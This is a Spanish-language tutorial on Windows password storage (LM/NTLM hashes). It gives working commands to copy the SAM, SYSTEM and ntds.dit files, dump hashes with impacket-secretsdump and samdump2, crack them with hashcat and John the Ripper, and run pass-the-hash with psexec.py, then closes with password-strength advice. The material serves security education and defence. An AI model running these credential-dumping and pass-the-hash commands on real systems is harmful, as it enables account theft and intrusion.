Introduccion
¿Alguna vez te has preguntado como Windows almacena tus contrasenas y que tan seguras son realmente? Este manual explora el modo de almacenamiento de contrasenas en Windows y como se pueden descifrar los hashes.
Es un proyecto con fines exclusivamente educativos: desentranaremos los secretos detras de la seguridad de las contrasenas en Windows, desde los conceptos basicos hasta las tecnicas mas avanzadas.
¿Que es un Hash?
Las funciones hash son algoritmos que transforman una entrada de datos en una cadena de longitud fija. Diferentes algoritmos producen resultados distintos para la misma entrada.
# MD5 de "Admin" MD5: 21232f297a57a5a743894a0e4a801fc3 # SHA-256 de "Admin" SHA-256: 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
En el contexto de Windows se han utilizado principalmente dos tipos de hash para almacenar contrasenas: LM y NTLM.
LM — LAN Manager Hash
LM fue el primer algoritmo hash utilizado por Windows, desde Windows 3.1 hasta XP. A partir de Vista fue discontinuado por sus multiples debilidades de seguridad, aunque puede activarse por compatibilidad.
Proceso del algoritmo LM — Ejemplo con "Admin1234"
Admin1234 → Admin123400000
Admin123400000 → ADMIN123400000
Bloque 1: ADMIN12 Bloque 2: 3400000
Genera dos hashes independientes que se concatenan para formar el hash LM final.
Vulnerabilidades del algoritmo LM
• Fragmentacion: Si un atacante descifra el bloque 2 (
3400000, que es trivial porque son todos ceros), solo queda descifrar el bloque 1 independientemente.• Ceros predecibles: Si la contrasena tiene menos de 8 caracteres, el segundo bloque siempre sera
0000000.• Sin diferencia de mayusculas: Reduce drasticamente el espacio de busqueda del atacante.
NTLM — NT LAN Manager
NTLM es una version mejorada de LM que corrige sus principales debilidades. Sus caracteristicas principales son:
Almacenamiento de Hashes en Windows
• Sistema local:
%systemdrive%\Windows\System32\config\SAMEl archivo SAM esta cifrado. La clave de descifrado se encuentra en el archivo
SYSTEM de la misma carpeta.• Active Directory (Domain Controller):
%systemdrive%\Windows\NTDS\ntds.ditAlmacena los hashes de todos los usuarios del dominio.
Ambos archivos estan bloqueados por el sistema operativo mientras Windows esta en ejecucion, incluso con privilegios de administrador. Para acceder a ellos es necesario usar tecnicas especiales.
Windows bloquea el acceso a SAM y SYSTEM mientras esta en funcionamiento. Hay varias tecnicas para acceder a estos archivos:
Tecnica 1 — Volume Shadow Copy (VSS)
Windows crea copias de seguridad de archivos criticos mediante el servicio Volume Shadow Copy. Se puede acceder a ellos aunque esten bloqueados.
# 1. Listar copias de sombra disponibles vssadmin list shadows # 2. Montar la copia de sombra en una ruta accesible mklink /D C:\ShadowCopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\ # 3. Acceder al directorio config y copiar SAM y SYSTEM C:\ShadowCopy\Windows\System32\config
Tecnica 2 — reg save (desde sesion activa)
Con una sesion abierta y privilegios de administrador, se puede exportar directamente desde el registro.
# Exportar SAM desde el registro reg save HKLM\SAM C:\sam_backup # Exportar SYSTEM desde el registro reg save HKLM\SYSTEM C:\system_backup
Tecnica 3 — Herramientas de copia en caliente
RawCopy.exe \\.\C: C:\Destination SYSTEM SAM
Tecnica 4 — Active Directory (ntds.dit)
# Crear snapshot del ntds.dit con ntdsutil
ntdsutil "activate instance ntds" ifm "create full C:\ntds_dump" quit quit
Tecnica 5 — Live USB / WinPE (sin sesion activa)
La unica tecnica que no requiere partir de una sesion abierta en el sistema objetivo. Se arranca desde un USB externo y se accede directamente a los archivos sin restricciones del SO.
Una vez que tienes SAM y SYSTEM, no puedes leer las contrasenas directamente. Necesitas hacer un dump por tres razones:
• SAM cifrado: El archivo SAM tiene sus hashes cifrados. El archivo SYSTEM contiene la
bootkey necesaria para descifrarlos.• Formato compatible: El dump organiza los hashes en formato compatible con herramientas de cracking como John the Ripper o Hashcat.
• Combinar ambos: Se necesitan ambos archivos juntos para obtener los hashes en texto plano.
impacket-secretsdump (recomendado)
# Extraer hashes combinando SAM y SYSTEM — guardar en dump.txt
impacket-secretsdump -sam SAM -system SYSTEM LOCAL > dump.txt
samdump2 (alternativa)
# Extraer la bootkey del archivo SYSTEM bkhive SYSTEM bootkey # Usar samdump2 con la bootkey para extraer hashes del SAM samdump2 SAM bootkey > hashes.txt
Anatomia del Dump — Desglose linea a linea
El formato de cada linea del dump es: Usuario:RID:LMHash:NTLMHash:::
• LM =
aad3b435b51404eeaad3b435b51404ee → No hay hash LM almacenado (LM deshabilitado, el valor es relleno)• NTLM =
31d6cfe0d16ae931b73c59d7e0c089c0 → Contrasena en blanco (sin contrasena configurada)• Cualquier otro valor NTLM → Hash valido de una contrasena real. Puede usarse para cracking o pass-the-hash.
Comandos — Hashcat
# Fuerza bruta (mask attack) hashcat -m 1000 hashes.txt wordlist.txt # Diccionario con rockyou.txt hashcat -m 1000 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt # Hibrido: diccionario + 3 digitos al final hashcat -m 1000 -a 6 hashes.txt /usr/share/wordlists/rockyou.txt ?d?d?d # Reglas avanzadas hashcat -m 1000 -a 0 hashes.txt --rules=rules/best64.rule wordlist.txt
Pass-the-Hash con Impacket y Evil-WinRM
# Autenticarse usando el hash directamente (sin conocer la contrasena) psexec.py administrator@target_ip -hashes aad3b435b51404eeaad3b435b51404ee:0293a894596aaf00de7c241ef78976c5
Rainbow Tables — rcrack
# Buscar hashes en una rainbow table
rcrack rainbow_table_directory -f hashes.txt
John the Ripper — Practica Real
El manual usa John the Ripper con un diccionario wordlist.lst para descifrar los hashes del dump. El usuario objetivo es Jose con contrasena 56781812.
# Descifrar hashes NTLM del dump con un diccionario john --wordlist=wordlist.lst --format=nt dump.txt # Con rockyou.txt (diccionario mas completo) john --format=nt --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt # Ver contrasenas ya crackeadas john --show --format=nt dump.txt
56781812, que estaba en el diccionario. Si la contrasena no esta en el diccionario, el ataque fallara.🔗 Lista de formatos admitidos:
pentestmonkey.net/cheat-sheet/john-the-ripper-hash-formatsDefensa — Contrasenas Robustas
Conocer como funciona el cracking de contrasenas es la mejor motivacion para crear contrasenas realmente seguras.
- 📏Longitud minima de 12 caracteres — idealmente 16 o mas. Cada caracter adicional multiplica exponencialmente las combinaciones posibles.
- 🔐Combina 4 tipos de caracteres: mayusculas, minusculas, numeros y simbolos (!@#$%&). Un diccionario de 10^4 no es lo mismo que uno de 10^16.
- 🚫Evita informacion personal — nombres, fechas de nacimiento, numeros de telefono. Esta informacion es facilmente obtenible en OSINT.
- 📄Evita palabras de diccionario — cualquier palabra que aparezca en rockyou.txt o similares puede ser crackeada en segundos.
- 🎲Aleatoriedad real — no uses patrones de teclado (qwerty, asdf) ni secuencias numericas (123456, 987654).
- 👥No reutilices contrasenas — si una cuenta es comprometida y usas la misma contrasena, todas tus cuentas estan en riesgo.
- 🔄Actualiza periodicamente — cada 3 o 6 meses reduce el riesgo de que un hash antiguo sea explotado despues de una brecha.